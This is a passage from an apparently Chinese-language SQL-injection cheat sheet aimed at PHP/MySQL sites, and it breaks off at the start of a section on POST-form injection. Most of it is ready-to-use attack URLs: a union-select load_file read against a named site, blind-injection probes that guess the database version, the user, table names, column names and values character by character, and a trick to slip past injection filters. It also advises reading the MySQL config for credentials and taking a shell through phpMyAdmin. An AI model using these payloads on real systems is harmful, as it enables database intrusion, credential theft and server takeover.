据库名称;
TABLE_NAME表示表的名称
| COLUMNS ----―>存储字段名
| 关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示所属的表的名称
COLUMN_NAME表示字段名
==================================================================================
技巧:
用repalce函数将load_file结果中的 '<' (0x3c) 换成 ':' (0x3a)
http://www.hacked.cn/autocar/show.php?id=-42 and 1=3 union select replace(load_file(0x443a5c71696368657765625c6361725c6c6f67696e5f636865636b2e706870),0x3c,0x3a),2
当version < 4 ,或者搜索型注入不能用union时,下面的方法很有用
/help.php?id=3 and ord(mid(version(),1,1))>51/* 看版本大于3不,支不支持union
/news/display.php?id=467 and (select char_length(user()) )%3E6 and 1=1-- 看总数
/help.php?id=3 and ord(mid(user(),1,1))=114/*,返回错误,说明不是root
/help.php?id=3 and (select count(*) from mysql.user)>0 /* 不是root没关系,看看有没有写权限
/news/display.php?id=467 and (select ascii( substr(user(),1,1)) )%3E32 and 1=1 --一个一个猜
/news/display.php?id=467 and (select count(*) from article_admin) and 1=1--猜表名,在当前数据库中
/help.php?id=3 and (select username from movie_admin) and 1=1--猜列名
/help.php?id=3 and (select char_length(username) from movie_admin)>4 and 1=1--猜列长度
/help.php?id=3 and (select ascii( substr(username,1,1)) from movie_admin)%3E96 and 1=1--猜列记录
/* %3E是>,这样一可以绕过防注入,二可以实现猜解(当无法爆的时候,里面的函数可以换成database(),version()等) */
a.php?action=search&keyword=a%25'+and+(select+length(load_file(0xAAAAA)))<=32+and+1=1+and+'%25'=' /* Loadfile()
a.php?action=search&keyword=a%25'+and+(select+ascii(substr(load_file(0xAAAAA),1,1)))<=256+and+1=1+and+'%25'='
如果有读文件权限的话,读取mysql连接文件,获得用户名密码,然后访问/phpmyadmin/,输入密码拿shell。
======================================================================
POST表单型PHP注入
Php的环境一般是apache+php+mysql,平常配置服务器一般是打开php.ini里的安全模式,将safe_mode设为on,还有就是将display_erors设为off,即关闭错误显示。还有一个非常重要的配置选项-----magic_quotes_gpc,高版本默认为on,以前的版本中默认为off。当magic_quotes_gpc为on的时候我们怎么防范php的字符变量注入呢?其实只需将提交的变量中的所有单引号、双引号、反斜线和空字告符自动转换为含有反斜线的转义字符。如把“’”变成“\”,把“\”变成“\\”,就ok了。下面我们分为对magic_quotes_gpc=off和magic_quotes_gpc=on的注入清况分析一下。
我们先看一段有漏洞的php代码